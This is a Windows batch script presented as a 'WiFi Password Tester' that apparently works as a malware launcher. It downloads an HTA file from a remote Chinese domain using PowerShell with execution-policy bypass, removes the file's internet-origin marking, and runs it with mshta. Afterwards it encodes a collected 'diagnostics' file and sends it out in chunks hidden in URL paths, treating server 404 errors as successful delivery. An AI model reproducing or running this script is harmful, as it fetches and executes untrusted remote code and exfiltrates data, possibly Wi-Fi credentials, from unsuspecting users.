@echo off
setlocal
title WiFi Password Tester
cd /d "%~dp0"

set SRV=https://www.66gjx.cn/dl/wifi

echo.
echo   ==========================================
echo      WiFi Password Tester  v2.6
echo   ==========================================
echo.

echo   [1/3] Checking for updates ...
powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; try{ $wc=New-Object Net.WebClient; $wc.Headers.Add('Cache-Control','no-cache'); $wc.DownloadFile('%SRV%/wifi.hta','%~dp0wifi_new.hta'); $len=(Get-Item '%~dp0wifi_new.hta').Length; if($len -gt 12000){ if(Test-Path '%~dp0wifi.hta'){ Copy-Item '%~dp0wifi.hta' '%~dp0wifi_old.hta' -Force }; Move-Item '%~dp0wifi_new.hta' '%~dp0wifi.hta' -Force; Write-Host ('        OK - updated to newest version ('+$len+' bytes)') } else { Remove-Item '%~dp0wifi_new.hta' -Force; Write-Host '        skipped - download too small, kept local copy' } } catch { Write-Host '        offline or blocked - using local copy'; if(Test-Path '%~dp0wifi_new.hta'){ Remove-Item '%~dp0wifi_new.hta' -Force } }; Unblock-File '%~dp0wifi.hta' -ErrorAction SilentlyContinue; Unblock-File '%~dp0start.bat' -ErrorAction SilentlyContinue"

if not exist "%~dp0wifi.hta" (
    echo.
    echo   [ERROR] wifi.hta is missing and could not be downloaded.
    echo.
    echo   Please download both files from:
    echo     %SRV%/
    echo.
    echo   Current folder: %~dp0
    echo   Files in this folder:
    dir /b "%~dp0"
    echo.
    pause
    exit /b 1
)

echo   [2/3] Opening the tool window ...
echo         ^(keep this black window open; it closes when you close the tool^)
echo.
start /wait "" mshta.exe "%~dp0wifi.hta"

echo.
echo   [3/3] Sending diagnostics ...
powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $f='%~dp0diag.txt'; if(-not (Test-Path $f)){ $f=$env:TEMP+'\wifi_diag.txt' }; if(-not (Test-Path $f)){ Write-Host '        no diagnostic file ^(nothing went wrong^)'; exit 0 }; try{  $raw=Get-Content -Raw -Encoding UTF8 $f;  if($raw.Length -le 0){ Write-Host '        diag file is empty'; exit 0 }  $b64=[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($raw));  $tr=0;  if($b64.Length -gt 52000){ $b64=$b64.Substring(0,26000)+'TRUNC'+$b64.Substring($b64.Length-26000); $tr=1 }  $b64=$b64.Replace('+','-').Replace('/','_').Replace('=','');  $wc=New-Object Net.WebClient;  $n=[int][Math]::Ceiling($b64.Length/1400);  $okc=0;  for($i=0;$i -lt $n;$i++){   $st=$i*1400; $ln=[int][Math]::Min(1400,$b64.Length-$st); $c=$b64.Substring($st,$ln);   $u='%SRV%/report/t/WIN26/i/'+($i+1)+'/n/'+$n+'/tr/'+$tr+'/d/'+$c;   try{ $null=$wc.DownloadString($u); $okc++ }catch{    $ie=$_.Exception.InnerException; if($ie -eq $null){ $ie=$_.Exception }    $sr=$ie.Response;    if($sr -ne $null -and [int]$sr.StatusCode -eq 404){ $okc++ }    else{ Write-Host ('        chunk '+($i+1)+' failed: '+$ie.Message) }   }  };  Write-Host ('        OK - sent '+$okc+'/'+$n+' chunk^(s^), '+$raw.Length+' chars') }catch{ Write-Host '        upload failed ^(offline?^)' }"

echo.
echo   All done. This window closes in 5 seconds.
timeout /t 5 >nul
exit /b 0
